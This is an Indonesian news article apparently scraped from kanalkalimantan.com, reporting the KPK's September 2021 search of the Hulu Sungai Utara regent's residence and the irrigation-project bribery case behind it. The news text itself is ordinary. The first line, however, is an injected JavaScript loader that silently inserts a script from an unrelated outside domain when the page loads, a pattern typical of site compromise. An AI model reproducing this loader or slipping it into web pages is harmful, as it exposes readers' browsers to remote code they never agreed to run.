(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
KANALKALIMANTAN.COM, AMUNTAI – Pasca Operasi Tangkap Tangan (OTT) di kantor Dinas PUPR Kabupaten HSU, Tim Satuan Tugas (Satgas) Komisi Pemberantasan Korupsi (KPK) masih melakukan pengeledahan di Kabupaten Hulu Sungai Utara (HSU).
Kali ini giliran rumah dinas (Rumdin) Bupati HSU, di Jalan Norman Umar No 1, Kelurahan Kebun Sari, Kecamatan Amuntai Tengah, digeledah dan dilakukan pemeriksaan Tim dari KPK, Minggu (19/9/2021) siang.
Informasi diperoleh Kanalkalimantan.com di lapangan, pemeriksaan terjadi sekitar pukul 14.15 Wita. Sampai menjelang petang, tim KPK masih melakukan pemeriksaan di rumdin Bupati HSU yang berseberangan dengan Masjid At Taqwa Amuntai.
Kondisi rumah dinas Bupati HSU ditutupi fiber plastik warna putih di sepanjang pagar bagian depan. Sehingga warga dan awak media yang mencoba melihat ke dalam rumdin, tidak bisa melihat secara langsung aktivitas pemeriksaan yang dilakukan Satgas KPK di dalam.
Baca juga : OTT KPK di HSU terkait 2 Proyek Irigasi Senilai Rp 1,9 miliar dan Rp 1,5 miliar
Anggota Kepolisian dari Polres HSU tampak terlihat membantu pengamanan, saat pemeriksaan oleh para penyidik lembaga anti rasuah RI tersebut.
Kapolres HSU, AKBP Afri Darmawan membenarkan pemeriksaan yang dilakukan KPK di Rumdin Bupati HSU tersebut.
“Anggota Polres HSU melaksanakan pengamanan di lokasi, sesuai dengan surat permintaan bantuan pengamanan dari pimpinan KPK. Untuk pemeriksaan secara detail, bukan kapasitas saya untuk menjawabnya,” kata Kapolres HSU.
Sampai berita ini diturunkan pemeriksaan masih berlangsung di Rumdin Bupati yang berada di tengah kota Amuntai tersebut.
Baca juga : Beri Penghargaan Karateka Dojo Kodim 1001, Ini Pesan Dandim Aldin
Sebelumnya, pada Jumat (17/9/2021) pagi, ruang kerja Bupati HSU H Abdul Wahid yang berada di lantai dua kantor Sekretariat Daerah Kabupaten HSU didapati dalam kondisi tersegel. Diketahui di depan pintu masuk tepat ruang tunggu tamu Bupati HSU terpasang segel KPK bertulisan Dalam Pengawasan KPK.
Informasi diperoleh Kanalkalimantan.com, penyegelan dilakukan pada Kamis (16/9/2021) malam.
OTT KPK di HSU terkait 2 Proyek Irigasi Senilai Rp 1,9 miliar dan Rp 1,5 miliar
Sebelumnya lewat keterangan resmi, KPK menjelaskan konstruksi kasus operasi tangkap tangan (OTT) yang melibatkan Plt Kadis PUPR HSU Maliki, pada Rabu (15/9/2021) malam.
Saat konferensi pers yang berlangsung di gedung KPK, Kamis (16/9/2021) malam, disebutkan bahwa Maliki menerima uang sebesar Rp 345 juta dari fee dua proyek irigasi.
Baca juga : Ditipu Dukun, Bayar Rp 11 Juta Dapat Bungkusan Isi Batu
“Sebagai kesepakatan komitmen fee 15 persen, Maliki kemudian menerima uang sebesar Rp 170 juta dan Rp 175 juta dalam bentuk tunai,” kata Wakil Ketua KPK Alexander Marwata.
Sebelumnya, disebutkan bahwa Dinas PU Hulu Sungai Utara melakukan lelang 2 proyek irigasi yang masing-masing nilainya Rp 1,9 miliar dan Rp 1,5 miliar.
Maliki, selaku Plt Kadis PU, diduga telah lebih dulu memberikan persyaratan lelang pada Marhaini dan Fachriadi sebagai calon pemenang kedua proyek irigasi dimaksud, dengan kesepakatan memberikan sejumlah uang komitmen fee sebesar 15 persen dari nilai proyek.
Hasilnya, perusahaan milik Marhaini, CV Hanamas, memenangkan proyek irigasi dimaksud yang nilainya Rp 1,9 miliar. Sedangkan perusahaan milik Fachriadi, CV Kalpataru, memenangkan tender proyek irigasi yang nilai Rp 1,5 miliar.
“Maka KPK meningkatkan status perkara ini ke tahap penyidikan dengan menetapkan tersangka MK (Maliki) Plt Kadis PU pada Dinas PUPR Kabupaten Hulu Sungai Utara sekaligus KPA dan PPK, dan MRH (Marhaini) pihak swasta selaku pemberi dan FA (Fachriadi) pihak swasta,” kata Alexander Marwata.
Baca juga : BREAKING NEWS. KPK Tetapkan 3 Tersangka Korupsi terkait OTT di HSU, Termasuk Plt Kadis PU
Marhaini dan Fachriadi selaku pihak pemberi disangkakan melanggar Pasal 5 ayat 1 huruf a atau b, atau Pasal 13 UU KPK juncto Pasal 65 KUHP. Maliki selaku penerima disangkakan melanggar Pasal 12 huruf a atau b atau pasal 11 UU KPK juncto Pasal 64 dan Pasal 65 KUHP.
Untuk proses penyidikan, KPK menahan Maliki di Rutan KPK Cabang Pomdam Jaya Guntur. Sedangkan Marhaini dan Fachriadi ditahan di Rutan KPK Gedung Merah Putih. Ketiganya ditahan selama 20 hari ke depan, terhitung mulai hari ini hingga 5 Oktober 2021.
Soal OTT KPK di kantor Dinas PU HSU tersebut dibenarkan Kapolres HSU AKBP Afri Darmawan, saat memberikan keterangan kepada para wartawan pada Kamis (16/9/2021) lalu.
Menurut Kapolres HSU, OTT KPK memang diketahui pihaknya pada Rabu (15/9/2021) malam, dan ada anggota Sabhara Polres HSU diminta tim OTT KPK sebagai bentuk pendampingan pengamanan. (kanalkalimantan.com/al)
Reporter : al
Editor : kk
KANALKALIMANTAN.COM, BANJABARU - Liburan Natal dan Tahun Baru menjadi waktu yang tepat untuk rehat diri… Read More
KANALKALIMANTAN.COM, BANJARMASIN - Memastikan keamanan umat kristiani melaksanakan ibadat Natal 2024, kepolisian melakukan strelisasi gereja-gereja… Read More
KANALKALIMANTAN.COM, BANJARBARU - Absen pada sidang perdana di Pengadilan Negeri (PN) Banjarbaru, pihak tergugat Komisi… Read More
KANALKALIMANTAN.COM - Setelah sukses menggebrak dengan promo spektakuler di HUT BRI ke-129, kini BRI kembali… Read More
KANALKALIMANTAN.COM, MARTAPURA - Pemerintah Kabupaten Banjar menyerahkan bantuan alat dan mesin pertanian, di Mahligai Sultan… Read More
Tiga Mobil Pribadi dan Satu Motor Kena Imbas, Sopir Akui Rem Tak Normal Read More
This website uses cookies.